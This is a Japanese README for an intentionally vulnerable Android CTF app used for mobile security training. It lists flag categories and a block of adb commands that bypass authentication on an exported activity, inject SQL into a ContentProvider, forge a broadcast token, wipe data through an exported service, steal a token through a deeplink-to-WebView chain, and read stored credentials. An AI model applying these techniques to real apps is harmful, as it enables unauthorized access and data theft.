
モバイルセキュリティ研究とバグバウンティの練習のための意図的に脆弱なAndroidアプリ - OWASP Mobile Top 10
モバイルセキュリティ研究、バグバウンティの練習、およびCTF形式の学習を目的とした、意図的に脆弱性を持たせたAndroidアプリケーション。OWASP Mobile Top 10に対応付けられた21件の文書化された脆弱性を含みます。
git clone [email protected]:b4sith-sec/Gu3ssWeak.git
cd Gu3ssWeak
./gradlew assembleDebug
adb install -r app/build/outputs/apk/debug/app-debug.apk
アプリを起動し、各ラボに取り組み、フラグをキャプチャして、アプリ内のCTFスコアボードに提出してください。
| カテゴリ | 脆弱性 | フラグ |
|---|---|---|
| WebView | WV-01 から WV-05 | 5 |
| Deeplink | DL-01 から DL-04、DL-CHAIN | 5 |
| Auth / SQL Injection | SQL-01 | 1 |
| Admin Panel | AP-01 から AP-04 | 2 |
| ContentProvider | CP-01 | 1 |
| Broadcast Receiver | BR-01 から BR-03 | 2 |
| Service | SV-01、SV-02a、SV-02b | 2 |
| Network Interception | NET-01 | 1 |
| Banking / OTP | OTP-01 | 1 |
| LFI | LFI-01 | 1 |
| Storage | STORE-01 | 1 |
| XSS | XSS-01、XSS-02 | 2 |
合計20個のフラグに加え、すべてをキャプチャするとマスターフラグが授与されます。
| ラボ一覧 | CTFスコアボード |
|---|---|
| lab |
# Admin panel - exported, no permission
adb shell am start -n com.gu3sswe4k.app/.activities.AdminPanelActivity
adb shell am start -n com.gu3sswe4k.app/.activities.AdminPanelActivity --ez is_authenticated true
adb shell "content query --uri content://com.gu3sswe4k.app.contacts/contacts/1 --where \"1) OR (1=1\""
# Token injection via broadcast
adb shell am broadcast -a com.gu3sswe4k.app.SEND_TOKEN --es token FAKE --es user attacker
# Data wipe via exported service
adb shell am startservice -n com.gu3sswe4k.app/.services.DataSyncService --es action wipe_user_data
# Deeplink to WebView RCE chain
adb shell am start -a android.intent.action.VIEW -d "vulndroid://settings?redirect=com.gu3sswe4k.app.activities.WebViewActivity&url=javascript:VulnBridge.stealToken()"
# Read plaintext stored credentials
adb shell run-as com.gu3sswe4k.app cat /data/data/com.gu3sswe4k.app/shared_prefs/login_prefs.xml
# Watch for logged secrets
adb logcat | grep Gu3ssWeak
このプロジェクトは純粋に教育目的です。すべての脆弱性は意図的なものであり、文書化されています。ここで示されている手法は実際のアプリにも適用できますが、テストするのは自分が所有するシステム、またはテストを許可されているシステムのみにしてください。完全な免責事項と責任ある開示のガイダンスについては、SECURITY.mdを参照してください。
MIT - LICENSEを参照してください。